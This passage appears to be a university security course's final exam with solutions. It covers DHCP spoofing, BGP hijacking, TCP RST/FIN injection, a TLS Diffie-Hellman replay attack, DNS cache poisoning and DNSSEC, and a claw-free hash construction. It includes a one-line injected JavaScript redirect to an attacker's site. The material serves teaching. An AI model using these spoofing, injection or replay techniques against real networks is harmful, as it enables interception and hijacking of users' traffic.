Q7.8 (3 points) Using the strategy from the previous subpart, give the name of one attack from class
that Eve could execute. (There may be multiple correct answers.)

Solution: Possible answers include:

Kaminsky attack: by making lots of GET requests to different URLs, an off-path attacker gets
more chances to poison the cache.

DoS attack: making lots of GET requests to one server could cause that server to be over-
whelmed.

Other answers may exist.

Final - Page 27 of 38



Q8 Network Security: Life of a Packet (17 points)
Alice, Bob, EvanBot, and CodaBot need to load the CS 161 website to work on Project 3. Mallory wants
to cause them to load Mallory’s website instead.

Mallory is an on-path attacker who can guarantee that her spoofed packets arrive before any legitimate
packets, 100% of the time.

Q8.1 (3 points) Alice connects to the network for the first time and uses DHCP to request a configuration.

How many spoofed packets does Mallory need to send in order to trick Alice into accepting
Mallory’s malicious DHCP configuration?

0 1 2 More than 2

Solution: We accepted two answers to this question, because we were not clear about the
definition of “spoof” in this question.

In our intended solution, we defined “spoof” as Mallory sending a packet with an incorrect
value in some “sender” field (i.e. the packet is being sent by Mallory, but in the packet header,
Mallory claims the packet is being sent by somebody else). Using this definition of spoofing,
the correct answer would be 0.

Note that in DHCP, Mallory does not need to send a packet with an incorrect sender field in
the header; she just needs to send back a DHCP offer message to Alice (before the real DHCP
offer message). Alice has no way to verify whether the DHCP offer message is coming from
someone legitimate, so even if the packet looks like it’s coming from Mallory, Alice will accept
it.

However, an alternate (but equally valid) definition of “spoofing” is lying about your identity
anywhere in the packet, even if you aren’t necessarily writing an incorrect value in some
“sender” field. Using this definition, the correct answer would be 2.

In a DHCP spoofing attack, Mallory needs to send two messages to Alice; one message offering
a malicious configuration, and a second message acknowledging Alice’s acceptance of the
malicious configuration. (This is directly from the four-way DHCP handshake shown in
lecture.) We can interpret these messages as spoofed messages because Mallory is lying about
her identity; she is claiming to be a DHCP server when she is not.

Under either interpretation, both “1” and “More than 2” are incorrect answers because the
four-way DHCP handshake requires Mallory to send exactly two messages (and depending on
your interpretation, either both messages are spoofed, or neither messages is spoofed).
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Q8.2 (3 points) Suppose Alice has accepted Mallory’s malicious DHCP configuration.

Alice makes a UDP request for the CS 161 website. How many spoofed packets does Mallory need
to send in order to cause Alice to load Mallory’s website?

Assume that both websites fit in one UDP packet.

0 1 2 More than 2

Solution: As soon as Alice accepts Mallory’s malicious DHCP configuration, Mallory has
become a MITM attacker. All future packets to the gateway router will be sent to Mallory
instead, and she can send any response she wants back to Alice without performing any
spoofing. (In other words: Alice thinks that Mallory is the gateway router, so Mallory doesn’t
have to lie about her identity to send replies to Alice.)

The following subparts are all independent.

Q8.3 (3 points) Mallory notices that a packet is sent through 4 autonomous systems to get from Bob to
the CS 161 web server.

Mallory hacks into Nikhil’s computer and takes control of AS400555. Can Mallory exploit BGP to
cause Bob to load Mallory’s website?

Yes, but only if AS400555 is one of the 4 ASes between Bob and CS 161

Yes, even if AS400555 is not one of the 4 ASes between Bob and CS 161

No, because Mallory would need to control all 4 ASes between Bob and CS 161

No, because Mallory would need to control at least 2 ASes between Bob and CS 161

Solution: Even if the hacked AS is not on the existing path between Bob and the CS 161 web
server, Mallory can use the hacked AS and claim that it can reach the CS 161 web server. This
would cause Bob’s packets to be routed through Mallory’s hacked AS.
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Q8.4 (5 points) EvanBot wants to load http://box.cs161.org using HTTP (over TCP). Mallory
wants to cause EvanBot to load http://www.mallory.com instead. Mallory doesn’t care if
EvanBot loads other pages, as long as EvanBot loads http://www.mallory.com at some point.
Assume that each website fits in 10 TCP packets.

What is the minimum number of spoofed packets Mallory needs to send to force EvanBot to load
http://www.mallory.com?

Less than 10 10 More than 10

Briefly describe, in words or pseudocode, the contents of the packet(s) that Mallory spoofs in the
previous part.

Solution: Mallory spoofs some HTML with JavaScript, such as:

<script>window.location="http://www.mallory.com"</script>

This would cause EvanBot to immediately get redirected to Mallory’s website. This small
snippet of Javascript should easily fit in fewer than 10 TCP segments.

Q8.5 (3 points) CodaBot wants to load https://box.cs161.org over TLS. Mallory wants to cause
CodaBot to fail to load the CS 161 website.

Which of the following attacks could potentially make CodaBot unable to load the CS 161 website?
Select all that apply.

SYN flooding on the CS 161 web server

TCP RST injection

Spoofing TCP packets with the FIN flag set

None of the above

Solution: Recall that TLS runs on top of TCP, so DoS attacks on TCP can still interfere with
TLS connections.

SYN flooding might cause the CS 161 web server to consume all its resources, which would
make CodaBot unable to access it.

TCP RST injection could terminate the TLS connection between CodaBot and CS 161.

Spoofing TCP packets with the FIN flag set could also terminate the TLS connection between
CodaBot and CS 161.
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Q9 Networking: TLS Times Two (14 points)
A client and server form a secure connection with Diffie-Hellman TLS. The client uses Diffie-Hellman
secret c1, and the server uses secret s1. After the first connection ends, Mallory, a MITM attacker,
compromises s1.

Next, the same client and server form a second connection with Diffie-Hellman TLS. For this connection,
the client uses Diffie-Hellman secret c2, and the server uses secret s2.

Mallory wants to impersonate the server in the second connection (i.e. Mallory wants to be able to
send her own messages to the client in the second connection).
Clarification during exam: Assume that Mallory recorded all communication from the first TLS connec-
tion.

Q9.1 (3 points) During the second handshake, the server sends gs2 mod p to the client, along with a
signature on this value.

Mallory intercepts this message and replaces it, sending the replaced message to the client. What
should the replaced message be?

Your answer can contain any values that Mallory knows.

Solution: Mallory sends gs1 mod p and a signature on that message.

The value gs1 mod p either comes from Mallory knowing s1 and computing it herself, or from
Mallory recording the first handshake.

The signature on gs1 mod p comes from Mallory recording the first handshake.

Q9.2 (3 points) What is the shared premaster secret that the client derives?

Solution: gs1c2 mod p

The client is still using their own Diffie-Hellman secret c2, but receives the old Diffie-Hellman
secret s1 from the server because Mallory replayed it.
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Q9.3 (3 points) After executing this attack, what can Mallory do in the second TLS connection? Select
all that apply.

Read messages sent by the client
Read messages sent by the server

Send messages to the server
None of the above

Solution: The client is encrypting messages with a key derived from gs1c2 mod p, which
Mallory knows.

The server is encrypting messages with a key derived from gs2c2 mod p, whichMallory doesn’t
know, since she only changed the key seen by the client. Therefore, Mallory cannot read
messages sent by the server, or send messages to the server (since Mallory doesn’t know what
key to encrypt those messages with).

Q9.4 (5 points) Suppose the server acts as a certificate authority for EvanBot. (In other words, the
server can use their secret key to sign EvanBot’s public keys.)

The client wants to form a TLS connection with EvanBot. Can Mallory use this attack to cause
EvanBot to derive a shared secret that Mallory knows?

Yes No

Briefly justify your answer.

Solution: Mallory cannot impersonate any child servers using a server certificate, as she does
not know SKserver – despite being able to impersonate Google itself via replay attack.
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Q10 Networking: Don’t Need Security (22 points)
EvanBot’s DNS resolver has the following records cached:
Record 1: toon.cs161.org A 192.5.6.7
Record 2: org. NS a.org-servers.net
Record 3: a.org-servers.net A 192.5.6.10
Record 4: org. DNSKEY {PK of a.org-servers.net}

Each subpart is independent.

Q10.1 (3 points) How many DNS requests are needed to learn the IP address of toon.cs161.org?

0

1

2

3

More than 3

Solution: The IP address is already in the cache (first record), so no requests are needed to
learn the IP address (we already know it).

Alternate answer: The question wording did not clarify whether we’re asking about the
number of requests that need to be made by all the resolvers (including the stub resolver), or
just the recursive resolver. If you assumed that the stub resolver needed to make one request
to the recursive resolver in order to actually retrieve the cached record for the end client, then
the answer would be 1.

We accepted both 0 and 1 for full credit on this subpart. For the rest of the question, whenever
we ask “How many DNS requests...”, if the intended answer is n, then we also gave credit if
you answered n+ 1, where the extra one request comes from the stub resolver requesting the
answer from the recursive resolver.

Q10.2 (3 points) How many DNS requests are needed to learn the IP address of evanbot.cs161.org?

0

1

2

3

More than 3

Solution: The original intended answer was 2. You have to contact the .org NS and the
cs161.org NS.
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For the next four subparts, assume DNSSEC is enabled.

Q10.3 (3 points) How many DNS requests are needed to validate the public key in Record 4?

0

1

2

3

More than 3

Solution: The original intended answer was 1. You have to contact the root name server to
receive records that validate the .org NS’s public key.

Q10.4 (3 points) How many additional DNS records are needed to validate the public key in Record 4?

0

1

2

3

More than 3

Solution: The root NS sends a DS record and an RRSIG record over the DS record.

Q10.5 (3 points) How many DNS requests are needed to validate the answer in Record 1?

0

1

2

3

More than 3

Solution: The original intended answer was 3.

You have to contact the root name server to receive records that validate the .org NS’s public
key.

You also need to contact the .org NS to get a validation on the cs161.org PK.

You also need to contact the cs161.org name server to receive a signature on the answer record.
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Q10.6 (3 points) How many additional DNS records are needed to validate the answer in Record 1?

0

1

2

3

More than 3

Solution: The root NS sends a DS record and an RRSIG record over the DS record.

The .org NS sends a DS record and an RRSIG over the DS record to endorse cs161.org.

The cs161.org NS sends a DNSKEY and a RRSIG record to sign the answer.

For the rest of this question, assume DNSSEC is disabled.

Q10.7 (4 points) Eve is an on-path attacker. Eve tricks EvanBot into loading assets.cs161.org.

Which of the following domains could Eve poison in EvanBot’s DNS cache? Select all that apply.

Clarification during exam: Assume bailiwick checking is enabled.

assets.cs161.org

www.wikipedia.org

www.google.com

a.org-servers.net

None of the above

Solution:

EvanBot is going to contact the .org name server, so Eve can poison any domain of the .org
zone.
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Q11 (OPTIONAL) A+ Question: Claw-Free Constructions (0 points)
This question is not worth points. It can only affect your course grade if you have a high A
and might receive an A+. We strongly recommend completing the rest of the exam before
attempting this question due to the relatively high difficulty. Ask your proctor for additional
paper if you need more space to write.

Ryan gets bored of SHA256 and decides to use the cryptographic primitive known as claw-free
permutations to build a new hash function. A claw-free permutation is a pair of functions f0 and
f1 such that finding any pair of inputs x, y such that f0(x) = f1(y) is computationally difficult. Such
a pair is called a claw. This is similar to the idea of collision-resistant hash functions – a claw-free
permutation is pair of functions that are collision-resistant with each other, whereas a hash function is
a single function that is collision resistant with itself.

Note that f0 and f1 take in exactly n bits and output exactly n bits.

Clarification during exam: f0 and f1 are permutations, uniquely mapping n bits to n bits.

Q11.1 (0 points) A common way of constructing these claw-free permutations is by using the malleable
(homomorphic) properties of RSA.

Construct a claw-free permutation (f0, f1) and prove its security based on RSA.

HINT: Define f0(x) = xe mod N and f1(x) = yxe mod N for some fixed e,N, y and show that
finding a claw in f0, f1 implies the ability to reverse RSA encryption if y is the RSA ciphertext. Since
y is arbitrarily chosen, this implies finding a claw in f0, f1 breaks RSA.

Solution: Consider f0(x) = xe mod N and f1(x) = yxe mod N , for some fixed y
mod N . The ability to find some a, b such that f0(a) = f1(b) implies

ae ≡ ybe mod N

y ≡ ae(b−1)e mod N

y ≡ (ab−1)e mod N

If we think of y as an RSA ciphertext on the message (ab−1), we see that finding a claw gives
us the ability to reverse RSA encryption if y is the ciphertext.
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Q11.2 (0 points) Assuming the existence of a claw-free permutation, design a collision-resistant, one-way,
deterministic hash function H that takes in arbitrary-length inputs and outputs exactly n bits.

Solution: The core idea behind this scheme is that fb(k)will equal two different values (f0(k)
if b = 0, f1(k) otherwise) unless (k, k) is a claw. If an adversary does not know b, these values
are indistinguishable, since claw-free implies one-wayness (else you could invert both f0 and
f1 on some constant k to get a claw).

Note that we cannot pass in x as an argument to f0, f1, since x is of arbitrary length, and f
takes in fixed length input. Therefore, we pass in 0n.

However, since the attacker knows f0, f1, they can just test both values. Therefore, we want to
iterate our function – each "layer" doubles the search space required. For example fb1(fb0(0n))
has 4 different possibilities, since it is conditioned on 2 bits.

We expand this idea to all ℓ bits of x, providing security proportional to 2ℓ while allowing for
arbitrary inputs.

For ℓ-bit x, let xi denote the i-th bit of x.

H(x) = fxℓ−1
(fxℓ−2

(fxℓ−3
(. . . fx0(0

n))))

Q11.3 (0 points) Show that any an adversary that can efficiently find a collision in H can efficiently find
a claw in f0, f1, i.e., prove the security of your construction assuming the security of the claw-free
permutation.

Solution: Assume the existence of an adversary who can find a collisionH(a) = H(b), a ̸= b.
Then,

H(a) = faℓ−1
(faℓ−2

(. . . fa0(0
n)))

H(b) = fbℓ−1
(fbℓ−2

(. . . fb0(0
n)))

since a ̸= b, ai ̸= bi for some i < ℓ. Consider the largest i such that ai ̸= bi. We have

fai(fai−1(. . . fa0(0
n))) = fbi(fbi−1

(. . . fb0(0
n)))

since otherwise H(a) would not equal H(b), since ak = bk for all i < kℓ by construction.
Since ai ̸= bi, the pair fai−1(. . . fa0(0

n)), fbi−1
(. . . fb0(0

n)) forms a claw on f0, f1.
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Post-Exam Activity: Botgram
(ungraded, just for fun) Help EvanBot craft the perfect Botgram post!
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